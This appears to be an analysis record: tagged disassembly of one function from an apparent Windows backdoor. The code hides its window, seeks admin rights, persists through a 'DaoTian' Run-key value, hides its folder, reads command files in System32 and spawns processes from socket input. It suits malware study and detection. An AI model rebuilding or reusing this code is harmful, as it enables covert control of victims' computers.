Function at 0x140007360
Capabilities:
Capture screenshot
Connect socket
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create thread
Delete registry value
Get socket status
Initialize winsock library
Persist via run registry key
Read and send data from client to server
Read file on windows
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set file attributes
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x6de0]
mov eax, 0x6ee0
call fcn.140010b20
sub rsp, rax
mov rax, qword [0x140045080]
xor rax, rsp
mov qword [rbp + 0x6dd0], rax
mov rdi, rdx
cmp ecx, 1
jne 0x140007612
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x140007455
mov dword [rsp + 0x60], WSAStartup
mov dword [rsp + 0x64], 0x40
xor ebx, ebx
mov qword [rsp + 0x68], rbx
lea rax, str.runas
mov qword [rsp + 0x70], rax
mov rax, qword [rdi]
mov qword [rsp + 0x78], rax
lea rax, [0x14003e2c0]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rbx
mov dword [rbp - 0x70], 5
mov qword [rbp - 0x68], rbx
lea rcx, [rsp + 0x60]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x6dd0]
xor rcx, rsp
call fcn.140010110
lea r11, [rsp + 0x6ee0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov r8d, 0x104
lea rdx, [rbp + 0x990]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor ebx, ebx
mov qword [rbp + 0x690], rbx
mov qword [rbp + 0x6a0], rbx
mov qword [rbp + 0x6a8], send
mov byte [rbp + 0x690], bl
lea rax, [rbp + 0x990]
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], bl
jne 0x1400074a0
lea rdx, [rbp + 0x990]
lea rcx, [rbp + 0x690]
call fcn.14000c0c0
nop
lea rdx, [rbp + 0x690]
mov r9, qword [rbp + 0x6a8]
cmp r9, 0x10
setae r11b
mov r10, qword [rbp + 0x690]
cmovae rdx, r10
mov r8, qword [rbp + 0x6a0]
cmp r8, 1
jb 0x14000751a
lea rax, [r8 - 1]
mov rcx, rsi
cmp rax, rsi
cmovb rcx, rax
add rcx, rdx
nop dword [rax]
cmp byte [rcx], 0x5c
jne 0x14000750b
mov eax, ebx
test ebx, ebx
je 0x140007515
cmp rcx, rdx
je 0x14000751a
dec rcx
jmp 0x140007500
sub rcx, rdx
jmp 0x14000751d
mov rcx, rsi
lea rdi, [rcx + 1]
cmp rdi, r8
ja 0x140007541
mov qword [rbp + 0x6a0], rdi
lea rax, [rbp + 0x690]
test r11b, r11b
cmovne rax, r10
mov byte [rax + rdi], 0
jmp 0x140007592
sub rdi, r8
sub r9, r8
cmp rdi, r9
ja 0x14000757b
lea rax, [r8 + rdi]
mov qword [rbp + 0x6a0], rax
lea rbx, [rbp + 0x690]
test r11b, r11b
cmovne rbx, r10
add rbx, r8
mov r8, rdi
xor edx, edx
mov rcx, rbx
call fcn.140012d20
mov byte [rdi + rbx], 0
jmp 0x140007592
mov byte [rsp + 0x20], 0
mov r9, rdi
mov rdx, rdi
lea rcx, [rbp + 0x690]
call fcn.14000d6b0
mov r8d, send
lea rdx, str.DaoTian.exe_1_2
lea rcx, [rbp + 0x690]
call fcn.14000c220
lea rcx, [rbp + 0x690]
cmp qword [rbp + 0x6a8], 0x10
cmovae rcx, qword [rbp + 0x690]
call fcn.140002fa0
nop
mov rdx, qword [rbp + 0x6a8]
cmp rdx, 0x10
jb 0x140007423
inc rdx
mov rcx, qword [rbp + 0x690]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007608
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400098f4
call fcn.140010130
jmp 0x140007423
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0xaa0]
call fcn.140012d20
mov r8d, 0x104
lea rdx, [rbp + 0xaa0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ebx, eax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea rdx, str.DaoTian
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0xaa0]
mov qword [rsp + 0x20], rax
mov r13d, 1
mov r9d, r13d
xor r8d, r8d
lea rdx, str.DaoTian
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.140002dc0
lea rax, [0x140001e20]
mov qword [rsp + 0x20], rax
lea r9, [0x140001e10]
lea edx, [r13 + 0xf]
lea r8d, [r13 + 2]
lea rcx, [rbp + 0x940]
call fcn.140010730
nop
lea ecx, [r13 + 7]
call fcn.1400103a0
lea rcx, [0x1400050d0]
mov qword [rax], rcx
mov qword [rbp + 0x6e0], rax
lea rcx, [rbp + 0x688]
mov qword [rsp + 0x28], rcx
xor ebx, ebx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x14000e570]
xor edx, edx
xor ecx, ecx
call fcn.1400178dc
mov qword [rbp + 0x680], rax
test rax, rax
je 0x1400098e3
cmp dword [rbp + 0x958], ebx
jne 0x1400098fa
movups xmm0, xmmword [rbp + 0x680]
movups xmmword [rbp + 0x950], xmm0
lea ecx, [rbx + 8]
call fcn.1400103a0
lea rcx, [0x1400055f0]
mov qword [rax], rcx
mov qword [rbp + 0x6e0], rax
lea rcx, [rbp + 0x688]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x14000e570]
xor edx, edx
xor ecx, ecx
call fcn.1400178dc
mov qword [rbp + 0x680], rax
test rax, rax
je 0x1400098cc
cmp dword [rbp + 0x968], ebx
jne 0x140009900
movups xmm0, xmmword [rbp + 0x680]
movups xmmword [rbp + 0x960], xmm0
mov esi, r13d
lea rdi, [rbp + 0x950]
cmp dword [rdi + 8], 0
je 0x1400099c4
movups xmm0, xmmword [rdi]
movaps xmmword [rbp + 0x680], xmm0
lea rcx, [rbp + 0x680]
call fcn.14000f818
test eax, eax
jne 0x1400099bc
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
inc rsi
add rdi, 0x10
cmp rsi, 2
jle 0x1400077b5
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r8d, 0x104
lea rdx, [rbp + 0xbb0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rbp + 0xbb0]
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
mov r12d, 6
mov edx, r12d
lea rcx, [rbp + 0xbb0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x430]
call fcn.140012d20
mov r8d, r13d
lea rdx, str.C:WindowsSystem32cmd.txt
lea rcx, [rbp + 0x430]
call fcn.140009a40
nop
mov rcx, qword [rbp + 0x430]
movsxd rax, dword [rcx + 4]
test byte [rbp + rax + 0x440], r12b
jne 0x140007a04
mov qword [rbp + 0x658], rbx
mov qword [rbp + 0x668], rbx
mov qword [rbp + 0x670], send
mov byte [rbp + 0x658], 0
nop word [rax + rax]
movsxd rax, dword [rcx + 4]
mov rcx, qword [rbp + rax + 0x470]
mov rcx, qword [rcx + 8]
mov qword [rbp + 0x688], rcx
mov rax, qword [rcx]
call qword [rax + htons]
nop
lea rcx, [rbp + 0x680]
call fcn.14000cc90
mov r8, qword [rax]
mov dl, 0xa
mov rcx, rax
call qword [r8 + 0x40]
movzx edi, al
mov rcx, qword [rbp + 0x688]
test rcx, rcx
je 0x1400078fc
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
test rax, rax
je 0x1400078fc
mov r8, qword [rax]
mov edx, r13d
mov rcx, rax
call qword [r8]
movzx r8d, dil
lea rdx, [rbp + 0x658]
lea rcx, [rbp + 0x430]
call fcn.14000dd80
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
jne 0x1400079c3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rax
movups xmmword [rbp + 0x690], xmm0
mov qword [rbp + 0x6a0], rax
mov dword [rsp + 0x60], 0x68
mov dword [rbp - 0x64], 0x101
mov word [rbp - 0x60], r13w
lea rdx, [rbp + 0x658]
cmp qword [rbp + 0x670], 0x10
cmovae rdx, qword [rbp + 0x658]
lea rax, [rbp + 0x690]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rbp + 0x430]
jmp 0x1400078a0
mov rdx, qword [rbp + 0x670]
cmp rdx, 0x10
jb 0x140007a04
inc rdx
mov rcx, qword [rbp + 0x658]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400079ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009906
call fcn.140010130
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x320]
call fcn.140012d20
mov r8d, r13d
lea rdx, str.C:WindowsSystem32cmd_noWin.txt
lea rcx, [rbp + 0x320]
call fcn.140009a40
nop
mov rcx, qword [rbp + 0x320]
movsxd rax, dword [rcx + 4]
test byte [rbp + rax + 0x330], 6
jne 0x140007bd3
mov qword [rbp + 0x658], rbx
mov qword [rbp + 0x668], rbx
mov qword [rbp + 0x670], send
mov byte [rbp + 0x658], 0
nop dword [rax + rax]
movsxd rax, dword [rcx + 4]
mov rcx, qword [rbp + rax + 0x360]
mov rcx, qword [rcx + 8]
mov qword [rbp + 0x688], rcx
mov rax, qword [rcx]
call qword [rax + htons]
nop
lea rcx, [rbp + 0x680]
call fcn.14000cc90
mov r8, qword [rax]
mov dl, 0xa
mov rcx, rax
call qword [r8 + 0x40]
movzx edi, al
mov rcx, qword [rbp + 0x688]
test rcx, rcx
je 0x140007acc
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
test rax, rax
je 0x140007acc
mov r8, qword [rax]
mov edx, r13d
mov rcx, rax
call qword [r8]
movzx r8d, dil
lea rdx, [rbp + 0x658]
lea rcx, [rbp + 0x320]
call fcn.14000dd80
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
jne 0x140007b92
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rax
movups xmmword [rbp + 0x690], xmm0
mov qword [rbp + 0x6a0], rax
mov dword [rsp + 0x60], 0x68
mov dword [rbp - 0x64], 0x101
mov word [rbp - 0x60], bx
lea rdx, [rbp + 0x658]
cmp qword [rbp + 0x670], 0x10
cmovae rdx, qword [rbp + 0x658]
lea rax, [rbp + 0x690]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rbp + 0x320]
jmp 0x140007a70
mov rdx, qword [rbp + 0x670]
cmp rdx, 0x10
jb 0x140007bd3
inc rdx
mov rcx, qword [rbp + 0x658]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007bce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000990c
call fcn.140010130
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x6c0], xmm1
mov qword [rbp + 0x6d0], rbx
mov qword [rbp + 0x658], rbx
mov qword [rbp + 0x668], rbx
mov qword [rbp + 0x670], send
mov byte [rbp + 0x658], 0
xor r8d, r8d
lea rdx, [0x14003dd2b]
lea rcx, [rbp + 0x658]
call fcn.14000c0c0
nop
mov rdx, qword [rbp + 0x6c8]
cmp rdx, qword [rbp + 0x6d0]
je 0x140007c57
movups xmm0, xmmword [rbp + 0x658]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x668]
movups xmmword [rdx + 0x10], xmm1
mov edx, send
mov byte [rbp + 0x658], 0
add qword [rbp + 0x6c8], 0x20
jmp 0x140007c71
lea r8, [rbp + 0x658]
lea rcx, [rbp + 0x6c0]
call fcn.14000d2b0
mov rdx, qword [rbp + 0x670]
cmp rdx, 0x10
jb 0x140007cab
inc rdx
mov rcx, qword [rbp + 0x658]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007ca6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009912
call fcn.140010130
mov edi, ebx
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x210]
call fcn.140012d20
mov r8d, r13d
lea rdx, str.C:WindowsSystem32SaveFile.txt
lea rcx, [rbp + 0x210]
call fcn.140009a40
nop
mov rcx, qword [rbp + 0x210]
movsxd rax, dword [rcx + 4]
test byte [rbp + rax + 0x220], 6
jne 0x140007f09
mov r14, rbx
nop dword [rax]
nop dword [rax + rax]
movsxd rsi, edi
shl rsi, 5
add rsi, qword [rbp + 0x6c0]
movsxd rax, dword [rcx + 4]
mov rcx, qword [rbp + rax + 0x250]
mov rcx, qword [rcx + 8]
mov qword [rbp + 0x688], rcx
mov rax, qword [rcx]
call qword [rax + htons]
nop
lea rcx, [rbp + 0x680]
call fcn.14000cc90
mov r8, qword [rax]
mov dl, 0xa
mov rcx, rax
call qword [r8 + 0x40]
movzx r15d, al
mov rcx, qword [rbp + 0x688]
test rcx, rcx
je 0x140007d6c
mov r8, qword [rcx]
call qword [r8 + reloc.WS2_32.dll_recv]
test rax, rax
je 0x140007d6c
mov r8, qword [rax]
mov edx, r13d
mov rcx, rax
call qword [r8]
movzx r8d, r15b
mov rdx, rsi
lea rcx, [rbp + 0x210]
call fcn.14000dd80
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
jne 0x140007f09
mov rsi, qword [rbp + 0x6c0]
add rsi, r14
cmp qword [rsi + 0x18], 0x10
jb 0x140007da5
mov rsi, qword [rsi]
mov ecx, reloc.WS2_32.dll_recv
call fcn.1400103a0
mov qword [rax], rsi
lea rcx, [0x140003a30]
mov qword [rax + 8], rcx
mov qword [rbp + 0x6e0], rax
lea rcx, [rbp + 0x6b8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x14000e5a0]
xor edx, edx
xor ecx, ecx
call fcn.1400178dc
mov qword [rbp + 0x6b0], rax
test rax, rax
je 0x14000992f
cmp dword [rbp + 0x6b8], 0
je 0x140009926
movaps xmm0, xmmword [rbp + 0x6b0]
movdqa xmmword [rbp + 0x6e0], xmm0
lea rcx, [rbp + 0x6e0]
call fcn.14000f818
test eax, eax
jne 0x14000991e
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x6b0], xmm0
mov qword [rbp + 0x658], rbx
mov qword [rbp + 0x668], rbx
mov qword [rbp + 0x670], send
mov byte [rbp + 0x658], al
xor r8d, r8d
lea rdx, [0x14003dd2b]
lea rcx, [rbp + 0x658]
call fcn.14000c0c0
nop
mov rdx, qword [rbp + 0x6c8]
cmp rdx, qword [rbp + 0x6d0]
je 0x140007ea3
movups xmm0, xmmword [rbp + 0x658]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x668]
movups xmmword [rdx + 0x10], xmm1
mov edx, send
mov byte [rbp + 0x658], 0
add qword [rbp + 0x6c8], 0x20
jmp 0x140007ebd
lea r8, [rbp + 0x658]
lea rcx, [rbp + 0x6c0]
call fcn.14000d2b0
mov rdx, qword [rbp + 0x670]
cmp rdx, 0x10
jb 0x140007ef7
inc rdx
mov rcx, qword [rbp + 0x658]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007ef2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009918
call fcn.140010130
inc edi
add r14, 0x20
mov rcx, qword [rbp + 0x210]
jmp 0x140007d00
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x100]
call fcn.140012d20
mov r8d, r13d
lea rdx, str.C:WindowsSystem32SaveExe.txt
lea rcx, [rbp + 0x100]
call fcn.140009a40
nop
mov rcx, qword [rbp + 0x100]
movsxd rax, dword [rcx + 4]
test byte [rbp + rax + 0x110], 6
jne 0x14000816d
movsxd r14, edi
shl r14, 5
nop dword [rax]
nop dword [rax + rax]
movsxd rsi, edi
shl rsi, 5
add rsi, qword [rbp + 0x6c0]
movsxd rax, dword [rcx + 4]
mov rcx, qword [rbp + rax + 0x140]
mov rcx, qword [rcx + 8]
mov qword [rbp + 0x688], rcx
mov rax, qword [rcx]
call qword [rax + htons]
nop
lea rcx, [rbp + 0x680]
call fcn.14000cc90
mov r8, qword [rax]
mov dl, 0xa
mov rcx, rax
call qword [r8 + 0x40]
movzx r15d, al
mov rcx, qword [rbp + 0x688]
test rcx, rcx
je 0x140007fcc
mov r8, qword [rcx]
call qword [r8 + reloc.WS2_32.dll_recv]
test rax, rax
je 0x140007fcc
mov r8, qword [rax]
mov edx, r13d
mov rcx, rax
call qword [r8]
movzx r8d, r15b
mov rdx, rsi
lea rcx, [rbp + 0x100]
call fcn.14000dd80
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
jne 0x14000816d
mov rsi, qword [rbp + 0x6c0]
add rsi, r14
cmp qword [rsi + 0x18], 0x10
jb 0x140008005
mov rsi, qword [rsi]
mov ecx, 0x18
call fcn.1400103a0
mov dword [rax], r13d
mov qword [rax + 8], rsi
lea rcx, [0x1400036f0]
mov qword [rax + 0x10], rcx
mov qword [rbp + 0x6e0], rax
lea rcx, [rbp + 0x6b8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x14000e650]
xor edx, edx
xor ecx, ecx
call fcn.1400178dc
mov qword [rbp + 0x6b0], rax
test rax, rax
je 0x140009955
cmp dword [rbp + 0x6b8], 0
je 0x14000994c
movaps xmm0, xmmword [rbp + 0x6b0]
movdqa xmmword [rbp + 0x6e0], xmm0
lea rcx, [rbp + 0x6e0]
call fcn.14000f818
test eax, eax
jne 0x140009944
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x6b0], xmm0
mov qword [rbp + 0x658], rbx
mov qword [rbp + 0x668], rbx
mov qword [rbp + 0x670], send
mov byte [rbp + 0x658], al
xor r8d, r8d
lea rdx, [0x14003dd2b]
lea rcx, [rbp + 0x658]
call fcn.14000c0c0
nop
mov rdx, qword [rbp + 0x6c8]
cmp rdx, qword [rbp + 0x6d0]
je 0x140008107
movups xmm0, xmmword [rbp + 0x658]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x668]
movups xmmword [rdx + 0x10], xmm1
mov edx, send
mov byte [rbp + 0x658], 0
add qword [rbp + 0x6c8], 0x20
jmp 0x140008121
lea r8, [rbp + 0x658]
lea rcx, [rbp + 0x6c0]
call fcn.14000d2b0
mov rdx, qword [rbp + 0x670]
cmp rdx, 0x10
jb 0x14000815b
inc rdx
mov rcx, qword [rbp + 0x658]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008156
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000993e
call fcn.140010130
inc edi
add r14, 0x20
mov rcx, qword [rbp + 0x100]
jmp 0x140007f60
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp - 0x10]
call fcn.140012d20
mov r8d, r13d
lea rdx, str.C:WindowsSystem32SaveExe_noWin.txt
lea rcx, [rbp - 0x10]
call fcn.140009a40
nop
mov rcx, qword [rbp - 0x10]
movsxd rax, dword [rcx + 4]
test byte [rbp + rax], 6
jne 0x1400083b3
movsxd r14, edi
shl r14, 5
nop dword [rax]
movsxd rsi, edi
shl rsi, 5
add rsi, qword [rbp + 0x6c0]
movsxd rax, dword [rcx + 4]
mov rcx, qword [rbp + rax + 0x30]
mov rcx, qword [rcx + 8]
mov qword [rbp + 0x688], rcx
mov rax, qword [rcx]
call qword [rax + htons]
nop
lea rcx, [rbp + 0x680]
call fcn.14000cc90
mov r8, qword [rax]
mov dl, 0xa
mov rcx, rax
call qword [r8 + 0x40]
movzx r15d, al
mov rcx, qword [rbp + 0x688]
test rcx, rcx
je 0x140008219
mov r8, qword [rcx]
call qword [r8 + reloc.WS2_32.dll_recv]
test rax, rax
je 0x140008219
mov r8, qword [rax]
mov edx, r13d
mov rcx, rax
call qword [r8]
movzx r8d, r15b
mov rdx, rsi
lea rcx, [rbp - 0x10]
call fcn.14000dd80
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
jne 0x1400083b3
mov rsi, qword [rbp + 0x6c0]
add rsi, r14
cmp qword [rsi + 0x18], 0x10
jb 0x14000824f
mov rsi, qword [rsi]
mov ecx, 0x18
call fcn.1400103a0
mov dword [rax], ebx
mov qword [rax + 8], rsi
lea rcx, [0x1400036f0]
mov qword [rax + 0x10], rcx
mov qword [rbp + 0x6e0], rax
lea rcx, [rbp + 0x6b8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x14000e650]
xor edx, edx
xor ecx, ecx
call fcn.1400178dc
mov qword [rbp + 0x6b0], rax
test rax, rax
je 0x14000997b
cmp dword [rbp + 0x6b8], 0
je 0x140009972
movaps xmm0, xmmword [rbp + 0x6b0]
movdqa xmmword [rbp + 0x6e0], xmm0
lea rcx, [rbp + 0x6e0]
call fcn.14000f818
test eax, eax
jne 0x14000996a
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x6b0], xmm0
mov qword [rbp + 0x658], rbx
mov qword [rbp + 0x668], rbx
mov qword [rbp + 0x670], send
mov byte [rbp + 0x658], al
xor r8d, r8d
lea rdx, [0x14003dd2b]
lea rcx, [rbp + 0x658]
call fcn.14000c0c0
nop
mov rdx, qword [rbp + 0x6c8]
cmp rdx, qword [rbp + 0x6d0]
je 0x140008350
movups xmm0, xmmword [rbp + 0x658]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x668]
movups xmmword [rdx + 0x10], xmm1
mov edx, send
mov byte [rbp + 0x658], 0
add qword [rbp + 0x6c8], 0x20
jmp 0x14000836a
lea r8, [rbp + 0x658]
lea rcx, [rbp + 0x6c0]
call fcn.14000d2b0
mov rdx, qword [rbp + 0x670]
cmp rdx, 0x10
jb 0x1400083a4
inc rdx
mov rcx, qword [rbp + 0x658]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000839f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009964
call fcn.140010130
inc edi
add r14, 0x20
mov rcx, qword [rbp - 0x10]
jmp 0x1400081b0
lea rcx, [rbp + 0x440]
call fcn.14000b8c0
mov r15d, 2
test rax, rax
jne 0x1400083f6
mov rax, qword [rbp + 0x430]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x430]
add rcx, rax
mov edx, r12d
cmp qword [rcx + 0x48], 0
cmovne edx, r15d
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140001ce0
lea rcx, [rbp + 0x330]
call fcn.14000b8c0
test rax, rax
jne 0x140008433
mov rax, qword [rbp + 0x320]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x320]
add rcx, rax
mov edx, r12d
cmp qword [rcx + 0x48], 0
cmovne edx, r15d
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140001ce0
lea rcx, [rbp + 0x220]
call fcn.14000b8c0
test rax, rax
jne 0x140008470
mov rax, qword [rbp + 0x210]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x210]
add rcx, rax
mov edx, r12d
cmp qword [rcx + 0x48], 0
cmovne edx, r15d
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140001ce0
lea rcx, [rbp + 0x110]
call fcn.14000b8c0
test rax, rax
jne 0x1400084ad
mov rax, qword [rbp + 0x100]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x100]
add rcx, rax
mov edx, r12d
cmp qword [rcx + 0x48], 0
cmovne edx, r15d
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140001ce0
lea rcx, [rbp]
call fcn.14000b8c0
test rax, rax
jne 0x1400084e1
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x10]
add rcx, rax
mov edx, r12d
cmp qword [rcx + 0x48], 0
cmovne edx, r15d
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140001ce0
mov qword [rbp + 0x730], rbx
mov qword [rbp + 0x740], rbx
mov qword [rbp + 0x748], send
mov byte [rbp + 0x730], 0
mov qword [rbp + 0x710], rbx
mov qword [rbp + 0x720], rbx
mov qword [rbp + 0x728], send
mov byte [rbp + 0x710], 0
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x540]
call fcn.140012d20
mov r8d, r13d
lea rdx, str.C:WindowsSystem32ip.txt
lea rcx, [rbp + 0x540]
call fcn.140009a40
nop
mov rax, qword [rbp + 0x540]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
lea rsi, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
lea r14, vtable.std::ios_base.0
test byte [rbp + rcx + 0x550], 6
je 0x1400086fc
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xdd0]
call fcn.140012d20
mov r8d, r15d
lea rdx, str.C:WindowsSystem32ip.txt
lea rcx, [rbp + 0xdd0]
call fcn.14000a840
nop
lea rdx, [0x14003e3d8]
lea rcx, [0x1400465a0]
call fcn.14000cdd0
mov rcx, rax
call fcn.14000d040
lea rdx, [rbp + 0x730]
lea rcx, [0x1400467c0]
call fcn.14000dff0
lea rdx, [rbp + 0x710]
mov rcx, rax
call fcn.14000dff0
lea rdx, [rbp + 0x730]
cmp qword [rbp + 0x748], 0x10
cmovae rdx, qword [rbp + 0x730]
mov r8, qword [rbp + 0x740]
lea rcx, [rbp + 0xdd0]
call fcn.14000e2b0
lea rdx, [0x14003e3f0]
mov rcx, rax
call fcn.14000cdd0
lea rdx, [rbp + 0x710]
cmp qword [rbp + 0x728], 0x10
cmovae rdx, qword [rbp + 0x710]
mov r8, qword [rbp + 0x720]
mov rcx, rax
call fcn.14000e2b0
mov rcx, rax
call fcn.14000d040
lea rcx, [rbp + 0xdd8]
call fcn.14000b8c0
test rax, rax
jne 0x140008687
mov rax, qword [rbp + 0xdd0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xdd0]
add rcx, rax
mov edx, r12d
cmp qword [rcx + 0x48], 0
cmovne edx, r15d
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140001ce0
nop
mov rax, qword [rbp + 0xdd0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xdd0], rdi
mov rax, qword [rbp + 0xdd0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xdcc], edx
lea rcx, [rbp + 0xdd8]
call fcn.14000a740
mov rax, qword [rbp + 0xdd0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xdd0], rsi
mov rax, qword [rbp + 0xdd0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0xdcc], edx
mov qword [rbp + 0xe78], r14
lea rcx, [rbp + 0xe78]
call fcn.14000f1fc
nop
jmp 0x14000871e
lea rdx, [rbp + 0x730]
lea rcx, [rbp + 0x540]
call fcn.14000dff0
lea rdx, [rbp + 0x710]
